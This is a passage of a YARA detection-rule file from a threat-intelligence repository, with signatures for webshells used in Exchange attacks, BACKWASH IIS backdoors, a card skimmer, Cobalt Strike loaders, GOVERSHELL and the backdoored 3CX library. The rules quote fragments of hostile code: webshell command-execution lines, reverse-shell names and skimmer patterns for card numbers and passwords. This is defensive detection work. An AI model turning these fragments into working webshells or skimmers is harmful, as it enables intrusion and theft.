		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L26-L56"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
		logic_hash = "ea3d0532cb609682922469e8272dc8061efca3b3ae27df738ef2646e30404c6f"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 4979
		version = 4
	strings:
		$s1 = "System.Net.Sockets"
		$s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
		$t1 = ".Split('|')"
		$t2 = "Request.Headers.Get"
		$t3 = ".Substring("
		$t4 = "new Socket("
		$t5 = "IPAddress ip;"
	condition:
		all of ( $s* ) or all of ( $t* )
}

rule VOLEXITY_Apt_Webshell_Aspx_Sportsball : FILE MEMORY
{
	meta:
		description = "The SPORTSBALL webshell, observed in targeted Microsoft Exchange attacks in 2021. SPORTSBALL was later discovered to be a variant of HYPERSHELL, a publicly available webshell."
		author = "threatintel@volexity.com"
		id = "25b23a4c-8fc7-5d6f-b4b5-46fe2c1546d8"
		date = "2021-03-01"
		modified = "2025-07-24"
		reference = "https://github.com/misterch0c/APT34/blob/e62f3d14ec78bea5c98d3c895162ca1e47676c18/Webshells_and_Panel/HyperShell/HyperShell/Shell/simple.aspx"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-03-02 - Operation Exchange Marauder/indicators/yara.yar#L57-L89"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
		logic_hash = "5ec5e52922e97a3080d397b69b2f42f09daa995271e218ea085fa2ec4e3abad2"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 4968
		version = 6
	strings:
		$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
		$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
		$s1 = "Result.InnerText = string.Empty;"
		$s2 = "newcook.Expires = DateTime.Now.AddDays("
		$s3 = "System.Diagnostics.Process process = new System.Diagnostics.Process();"
		$s4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
		$s5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
		$s6 = "<input type=\"submit\" value=\"Upload\" />"
	condition:
		any of ( $uniq* ) or all of ( $s* )
}

rule VOLEXITY_Malware_Win_Backwash_Cpp : WHEELEDASH FILE MEMORY
{
	meta:
		description = "CPP loader for the Backwash malware."
		author = "threatintel@volexity.com"
		id = "8a1c4ff1-1827-5e6f-b838-664d8c3be840"
		date = "2021-11-17"
		modified = "2023-11-13"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L3-L26"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "c8ed2d3103aa85363acd7f5573aeb936a5ab5a3bacbcf1f04e6b298299f24dae"
		score = 75
		quality = 80
		tags = "WHEELEDASH, FILE, MEMORY"
		hash1 = "0cf93de64aa4dba6cec99aa5989fc9c5049bc46ca5f3cb327b49d62f3646a852"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6147
		version = 2
	strings:
		$s1 = "cor1dbg.dll" wide
		$s2 = "XEReverseShell.exe" wide
		$s3 = "XOJUMAN=" wide
	condition:
		2 of them
}

rule VOLEXITY_Malware_Win_Iis_Shellsave : WHEELEDASH FILE MEMORY
{
	meta:
		description = "Detects an AutoIT backdoor designed to run on IIS servers and to install a webshell."
		author = "threatintel@volexity.com"
		id = "a89defa5-4b22-5650-a0c0-f4b3cf3377a7"
		date = "2021-11-17"
		modified = "2023-08-17"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L27-L49"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "f34d6f4ecaa4cde5965f6b0deac55c7133a2be96f5c466f34775be6e7f730493"
		score = 75
		quality = 80
		tags = "WHEELEDASH, FILE, MEMORY"
		hash1 = "21683e02e11c166d0cf616ff9a1a4405598db7f4adfc87b205082ae94f83c742"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6146
		version = 4
	strings:
		$s1 = "getdownloadshell" ascii
		$s2 = "deleteisme" ascii
		$s3 = "sitepapplication" ascii
		$s4 = "getapplicationpool" ascii
	condition:
		all of them
}

rule VOLEXITY_Malware_Win_Backwash_Iis_Scout : WHEELEDASH FILE MEMORY
{
	meta:
		description = "Simple backdoor which collects information about the IIS server it is installed on. It appears to the attacker refers to this components as 'XValidate' - i.e. to validate infected machines."
		author = "threatintel@volexity.com"
		id = "1f768b39-21a0-574d-9043-5104540003f7"
		date = "2021-11-17"
		modified = "2023-08-17"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L50-L78"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "18c4e338905ff299d75534006037e63a8f9b191f062cc97b0592245518015f88"
		score = 75
		quality = 80
		tags = "WHEELEDASH, FILE, MEMORY"
		hash1 = "6f44a9c13459533a1f3e0b0e698820611a18113c851f763797090b8be64fd9d5"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6145
		version = 3
	strings:
		$s1 = "SOAPRequest" ascii
		$s2 = "requestServer" ascii
		$s3 = "getFiles" ascii
		$s4 = "APP_POOL_CONFIG" wide
		$s5 = "<virtualDirectory" wide
		$s6 = "stringinstr" ascii
		$s7 = "504f5354" wide
		$s8 = "XValidate" ascii
		$s9 = "XEReverseShell" ascii
		$s10 = "XERsvData" ascii
	condition:
		6 of them
}

rule VOLEXITY_Malware_Js_Xeskimmer : WHEELEDASH FILE
{
	meta:
		description = "Detects JScript code using in skimming credit card details."
		author = "threatintel@volexity.com"
		id = "2c0911cf-a679-5d4e-baad-777745a28e27"
		date = "2021-11-17"
		modified = "2023-11-14"
		reference = "https://github.com/MBThreatIntel/skimmers/blob/master/null_gif_skimmer.js"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L79-L114"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "cc46e9fab5f408fde13c3897d378a1a2e4acb448f40ca4935c19024ebdc252d7"
		score = 75
		quality = 80
		tags = "WHEELEDASH, FILE"
		hash1 = "92f9593cfa0a28951cae36755d54de63631377f1b954a4cb0474fa0b6193c537"
		os = "win"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6144
		version = 4
	strings:
		$s1 = ".match(/^([3456]\\d{14,15})$/g" ascii
		$s2 = "^(p(wd|ass(code|wd|word)))" ascii
		$b1 = "c('686569676874')" ascii
		$b2 = "c('7769647468')" ascii
		$c1 = "('696D67')" ascii
		$c2 = "('737263')" ascii
		$magic = "d=c.charCodeAt(b),a+=d.toString(16);"
	condition:
		all of ( $s* ) or all of ( $b* ) or all of ( $c* ) or $magic
}

rule VOLEXITY_Malware_Win_Backwash_Iis : WHEELEDASH FILE MEMORY
{
	meta:
		description = "Variant of the BACKWASH malware family with IIS worm functionality."
		author = "threatintel@volexity.com"
		id = "08a86a58-32af-5c82-90d2-d6603dae8d63"
		date = "2020-09-04"
		modified = "2023-08-17"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L181-L208"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "98e39573a3d355d7fdf3439d9418fdbf4e42c2e03051b5313d5c84f3df485627"
		logic_hash = "95a7f9e0afb031b49cd0da66b5a887d26ad2e06cce625bc45739b4a80e96ce9c"
		score = 75
		quality = 80
		tags = "WHEELEDASH, FILE, MEMORY"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 231
		version = 6
	strings:
		$a1 = "GetShell" ascii
		$a2 = "smallShell" ascii
		$a3 = "createSmallShell" ascii
		$a4 = "getSites" ascii
		$a5 = "getFiles " ascii
		$b1 = "action=saveshell&domain=" ascii wide
		$b2 = "&shell=backsession.aspx" ascii wide
	condition:
		all of ( $a* ) or any of ( $b* )
}

rule VOLEXITY_Apt_Malware_Win_Bluelight : INKYPINE FILE MEMORY
{
	meta:
		description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
		author = "threatintel@volexity.com"
		id = "5bfdc74b-592e-5f3d-9fb8-bbbbd0f6f0f6"
		date = "2021-04-23"
		modified = "2025-02-18"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-08-17 - InkySquid Part 1/indicators/yara.yar#L78-L120"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "45490dfc793bb95f153c0194989b25e0b2641fa9b9f6763d5733eab6483ffead"
		score = 75
		quality = 80
		tags = "INKYPINE, FILE, MEMORY"
		hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
		hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
		hash3 = "485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5284
		version = 12
	strings:
		$pdb1 = "\\Development\\BACKDOOR\\ncov\\"
		$pdb2 = "Release\\bluelight.pdb" nocase ascii
		$pdb3 = "D:\\Development\\GOLD-BACKDOOR\\Release\\FirstBackdoor.pdb"
		$pdb4 = "GOLD-BACKDOOR\\Release\\"
		$msg0 = "https://ipinfo.io" fullword
		$msg1 = "country" fullword
		$msg5 = "\"UserName\":\"" fullword
		$msg7 = "\"ComName\":\"" fullword
		$msg8 = "\"OS\":\"" fullword
		$msg9 = "\"OnlineIP\":\"" fullword
		$msg10 = "\"LocalIP\":\"" fullword
		$msg11 = "\"Time\":\"" fullword
		$msg12 = "\"Compiled\":\"" fullword
		$msg13 = "\"Process Level\":\"" fullword
		$msg14 = "\"AntiVirus\":\"" fullword
		$msg15 = "\"VM\":\"" fullword
	condition:
		any of ( $pdb* ) or all of ( $msg* )
}

rule VOLEXITY_Apt_Malware_Win_Flipflop_Ldr : COZYLARCH FILE MEMORY
{
	meta:
		description = "A loader for the CobaltStrike malware family, which ultimately takes the first and second bytes of an embedded file, and flips them prior to executing the resulting payload."
		author = "threatintel@volexity.com"
		id = "58696a6f-55a9-5212-9372-a539cc327e6b"
		date = "2021-05-25"
		modified = "2025-05-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L3-L26"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330"
		logic_hash = "a79d2b0700ae14f7a2af23c8f7df3df3564402b1137478008ccabefea0f543ad"
		score = 75
		quality = 80
		tags = "COZYLARCH, FILE, MEMORY"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5443
		version = 6
	strings:
		$s1 = "irnjadle"
		$s2 = "BADCFEHGJILKNMPORQTSVUXWZY"
		$s3 = "iMrcsofo taBesC yrtpgoarhpciP orived r1v0."
	condition:
		all of ( $s* )
}

rule VOLEXITY_Malware_Win_Cobaltstrike_D : FILE MEMORY
{
	meta:
		description = "The CobaltStrike malware family, variant D."
		author = "threatintel@volexity.com"
		id = "89a2459b-314b-513e-bd1a-8c4239a30338"
		date = "2021-05-25"
		modified = "2024-11-22"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-05-27 - Suspected APT29 Operation Launches Election Fraud Themed Phishing Campaigns/indicators/yara.yar#L27-L54"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
		logic_hash = "751b6832f2952d369cb616b28ac009d7bfcc4d92bf2db36d87d69bc1e9fa6c75"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5445
		version = 5
	strings:
		$s1 = "%s (admin)" fullword
		$s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
		$s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
		$s4 = "%s as %s\\%s: %d" fullword
		$s5 = "%s&%s=%s" fullword
		$s6 = "rijndael" fullword
		$s7 = "(null)"
	condition:
		6 of ( $s* )
}


rule VOLEXITY_Apt_Malware_Golang_Govershell_Strings_UTA0388 : UTA0388 FILE MEMORY
{
	meta:
		description = "This rule detects multiple variants of the GOVERSHELL malware family employed by UTA0388 via unique strings. The implant is side-loaded by a legitimate executable and uses various network protocol to communicate with the C2 server."
		author = "threatintel@volexity.com"
		id = "1fe9b2b8-5c74-5d3c-954b-37f625911f75"
		date = "2025-06-30"
		modified = "2025-10-08"
		reference = "TIB-20250708B"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2025/2025-10-08 UTA0388/rules.yar#L74-L134"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "74fa940002e0af9095790b1cf7260778661c97db4e3d316183eecde0e2b580a8"
		score = 75
		quality = 78
		tags = "UTA0388, FILE, MEMORY"
		hash1 = "a5ee55a78d420dbba6dec0b87ffd7ad6252628fd4130ed4b1531ede960706d2d"
		hash2 = "fbade9d8a040ed643b68e25e19cba9562d2bd3c51d38693fe4be72e01da39861"
		os = "win"
		os_arch = "all"
		report2 = "MAR-20250930"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 11993
		version = 10
	strings:
		$a1 = "/lib/te64/"
		$a2 = "te64/payload."
		$a3 = "payload.sendAuthRequest.Println.func1"
		$a4 = "sendAuthRequest.deferwrap"
		$a5 = ".ensureSingleInstance.Printf."
		$a6 = "httpslike.NewHttpsLikeConn"
		$a7 = "main.Execute.Println."
		$a8 = "C:/Users/Dev/Desktop/20250608"
		$a9 = "/lib/te64/httpslike/httpslike.go"
		$a10 = "/lib/te64/payload/payload.go"
		$a11 = "/lib/te64/main.go"
		$a12 = "'rootFolderObj"
		$a13 = "'triggersObj"
		$a14 = "'repetitionObj"
		$a15 = "httpslike"
		$a16 = "main.CopySelf.copyDir."
		$s1 = "C:/Users/Make/Downloads/te250608/lib/te64/payload"
		$s2 = "te64/payload."
		$s3 = "C:/Users/Make/Desktop/lib/"
		$s4 = "CreateUserTask.deferwrap"
		$s5 = "main.generateRandomDir"
		$s6 = "te64.dll"
		$s7 = "payload.NewHttpClient.ProxyURL."
		$s8 = "payload.normalizeProxyURL"
		$b1 = {27 70 72 6f 67 72 61 6d 44 61 74 61 00}
		$b2 = {27 72 61 6e 64 6f 6d 44 69 72 00}
		$b3 = {27 74 61 72 67 65 74 44 69 72 00}
		$b4 = {27 65 78 65 50 61 74 68 00}
		$b5 = {27 63 75 72 72 65 6e 74 44 69 72 00}
		$b6 = {27 65 78 65 4e 61 6d 65 00}
		$b7 = {27 74 61 72 67 65 74 45 78 65 00}
		$b8 = {27 72 65 6c 50 61 74 68 00}
	condition:
		4 of ( $a* ) or 5 of ( $s* ) or 3 of ( $b* )
}

rule VOLEXITY_Apt_Malware_Win_Avburner : DEVIOUSBAMBOO FILE MEMORY
{
	meta:
		description = "Detects AVBurner based on a combination of API calls used, hard-coded strings and bytecode patterns."
		author = "threatintel@volexity.com"
		id = "1bde0861-4820-5bb1-98a3-516092c91be0"
		date = "2023-01-02"
		modified = "2024-08-16"
		reference = "https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-03-07 AVBurner/yara.yar#L1-L40"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		hash = "4b1b1a1293ccd2c0fd51075de9376ebb55ab64972da785153fcb0a4eb523a5eb"
		logic_hash = "56ff6c8a4b737959a1219699a0457de1f0c34fead4299033840fb23c56a0caad"
		score = 75
		quality = 80
		tags = "DEVIOUSBAMBOO, FILE, MEMORY"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8780
		version = 4
	strings:
		$api1 = "PspCreateProcessNotifyRoutineAddress" wide
		$api2 = "PspCreateThreadNotifyRoutineAddress" wide
		$api3 = "PspLoadImageNotifyRoutineAddress" wide
		$str1 = "\\\\.\\RTCORE64" wide
		$str2 = "\\\\%ws/pipe/%ws" wide
		$str3 = "CreateServerW Failed %u" wide
		$str4 = "OpenSCManager Failed %u" wide
		$str5 = "Get patternAddress" wide
		$pattern1 = { 4C 8B F9 48 8D 0C C1 E8 }
		$pattern2 = { 48 8D 0C DD 00 00 00 00  45 33 C0 49 03 CD 48 8B }
		$pattern3 = { 48 8D 04 C1 48 89 45 70 48 8B C8 E8 }
		$pattern4 = { 49 8D 0C FC 45 33 C0 48 8B D6 E8 00 00 00 00 00}
		$pattern5 = { 45 33 C0 48 8D 0C D9 48 8B D7 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 }
		$pattern6 = { 41 0F BA 6D 00 0A BB 01 00 00 00 4C 8B F2 4C 8B F9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
	condition:
		all of ( $api* ) or all of ( $str* ) or all of ( $pattern* )
}


rule VOLEXITY_Apt_Win_Iconicstealer : UTA0040
{
	meta:
		description = "Detect the ICONICSTEALER malware family."
		author = "threatintel@volexity.com"
		id = "d7896506-6ce5-59b1-b24a-87ffdb2a5174"
		date = "2023-03-30"
		modified = "2023-03-30"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-03-30 3CX/indicators/rules.yar#L51-L69"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "ed7731d2361e7d96a6a35f8359b61a2af049b16bc457cf870db8831e142aebe2"
		score = 75
		quality = 80
		tags = "UTA0040"
		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$str1 = "\\3CXDesktopApp\\config.json" wide
		$str2 = "url, title FROM urls" wide
		$str3 = "url, title FROM moz_places" wide
	condition:
		all of them
}

rule VOLEXITY_Apt_Win_3Cx_Backdoored_Lib : UTA0040
{
	meta:
		description = "Detects the malicious library delivered in the backdoored 3CX installer."
		author = "threatintel@volexity.com"
		id = "39270b93-830e-598f-a38e-fcc5050e4d30"
		date = "2023-03-30"
		modified = "2023-03-30"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-03-30 3CX/indicators/rules.yar#L94-L133"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "40be2d46a318ff03724ea1f6628d78001c14c85a3ae6d032c0324ea849d707f2"
		score = 75
		quality = 80
		tags = "UTA0040"
		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
		memory_suitable = 1
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$shellcode = {
                        44 8D 4A ??
                        44 8D 92 ?? ?? ?? ??
                        45 85 C9
                        45 0F 49 D1
                        41 81 E2 00 FF FF FF
                        41 F7 DA
                        44 01 D2
                        FF C2
                        4C 63 CA
                        46 8A 94 0C ?? ?? ?? ??
                        45 00 D0
                        45 0F B6 D8
                        42 8A AC 1C ?? ?? ?? ??
                        46 88 94 1C ?? ?? ?? ??
                        42 88 AC 0C ?? ?? ?? ??
                        42 02 AC 1C ?? ?? ?? ??
                        44 0F B6 CD
                        46 8A 8C 0C ?? ?? ?? ??
                        45 30 0C 0E
                        48 FF C1
                        48 39 C8
                        75 ??
                }
	condition:
		all of them
}

rule VOLEXITY_Informational_Win_3Cx_Msi : UTA0040
{
	meta:
		description = "Detects 3CX installers created in March 2023, 3CX was known to be compromised at this time."
		author = "threatintel@volexity.com"
		id = "ac26e7b1-61eb-5074-bcda-46d714bdba4c"
		date = "2023-03-30"
		modified = "2023-03-30"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-03-30 3CX/indicators/rules.yar#L134-L152"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "c04de2653ef587f27c7ebf058c6f6c345e16b67f36ccc4306bc49f8c4394728e"
		score = 75
		quality = 80
		tags = "UTA0040"
		hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
		memory_suitable = 0
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$cert = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
		$app = "3CXDesktopApp.exe"
		$data = "202303"
	condition:
		all of them
}

rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Common_Certificate : EVILBAMBOO FILE
{
	meta:
		description = "Detection of the common.cer file used for a large BADBAZAAR malware cluster for its certificate pinning for the C2 communication."
		author = "threatintel@volexity.com"
		id = "5a033770-7ad3-5c79-90ac-b1e3fff6b5f0"
		date = "2023-06-01"
		modified = "2023-06-13"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L230-L255"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "861d4e1c40847c6ade04eddb047370d645afea6d5c16d55155fa58a16111c39e"
		score = 75
		quality = 80
		tags = "EVILBAMBOO, FILE"
		hash1 = "6aefc2b33e23f6e3c96de51d07f7123bd23ff951d67849a9bd32d446e76fb405"
		scan_context = "file"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$b1 = {30 82 03 61 30 82 02 49 a0 03 02 01 02 02 04 2b 6e df 67 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b}
		$s1 = "california1"
		$s2 = "los1"
		$s3 = "tech1"
		$s4 = "common1"
		$s5 = "common0"
		$s6 = "220401234506Z"
		$s7 = "470326234506Z0a1"
	condition:
		$b1 at 0 or all of ( $s* )
}

rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Stage2_Implant_May23 : EVILBAMBOO FILE
{
	meta:
		description = "Detection of the second stage capability of the BadBazaar android malware that has the main malicious capabilities. Will gather various info about the user/phone and routinely send this to the C2."
		author = "threatintel@volexity.com"
		id = "1f97c610-773f-5385-935a-445cb9192157"
		date = "2023-05-25"
		modified = "2023-08-30"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L257-L285"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "2186369298ebfa0b892ecb14ebacc93c6d14c9c35012e8e6cdff077634cf3773"
		score = 75
		quality = 80
		tags = "EVILBAMBOO, FILE"
		hash1 = "bf5f7fbf42236e89bcf663d2822d54bee89abaf3f247a54f371bf156e0e03629"
		scan_context = "file"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$c1 = "%{\"command\":\"%s\",\"path\":\"%s\",\"files\":["
		$c2 = "{\"name\":\"%s\",\"dirs\":\"%d\",\"files\":\"%d\",\"isfolder\":\"%d\",\"path\":\"%s\"},"
		$s1 = "Timezon id:"
		$s2 = "China Telecom"
		$s3 = "China Unicom"
		$s4 = "ConfigPipe"
		$s5 = "ForwordTo"
		$s6 = "can't get camera content"
		$s7 = "cat /sys/class/net/wlan0/address"
		$s8 = "_preferences_light"
		$s9 = "registration_jid"
	condition:
		1 of ( $c* ) or 5 of ( $s* )
}

rule VOLEXITY_Apt_Delivery_Web_Js_Jmask_Str_Array_Variant : EVILBAMBOO FILE
{
	meta:
		description = "Detects the JMASK profiling script in an obfuscated format using a string array and an offset."
		author = "threatintel@volexity.com"
		id = "d5d32c8b-53fb-5103-ac73-05f320e71c97"
		date = "2023-06-27"
		modified = "2023-09-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L408-L444"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "0ae7c96e0f866f21d66d7a23bf937d6ce48c9dd1ea19142dbb13487208780146"
		score = 75
		quality = 80
		tags = "EVILBAMBOO, FILE"
		hash1 = "7995c382263f8dbbfc37a9d62392aef8b4f89357d436b3dd94dea842f9574ecf"
		scan_context = "file"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
	strings:
		$array_1 = "http://eular.github.io"
		$array_2 = "stun:stun.services.mozilla.com"
		$array_3 = "\xE6\x9C\xAA\xE5\xAE\x89\xE8\xA3\x85MetaMask"
		$array_4 = "/jquery/jquery.min.js"
		$array_5 = "onicecandidate"
		$ios_1 = "['a7', '640x1136', [_0x"
		$ios_2 = "['a7', _0x"
		$ios_3 = "['a8', _0x"
		$ios_4 = "['a8', '750x1334', ['iPhone\\x206']]"
		$ios_5 = "['a8', '1242x2208', ['iPhone\\x206\\x20Plus']]"
		$ios_6 = "['a8', _0x"
		$ios_7 = "['a9', _0x"
		$ios_8 = "['a9', '750x1334', [_0x"
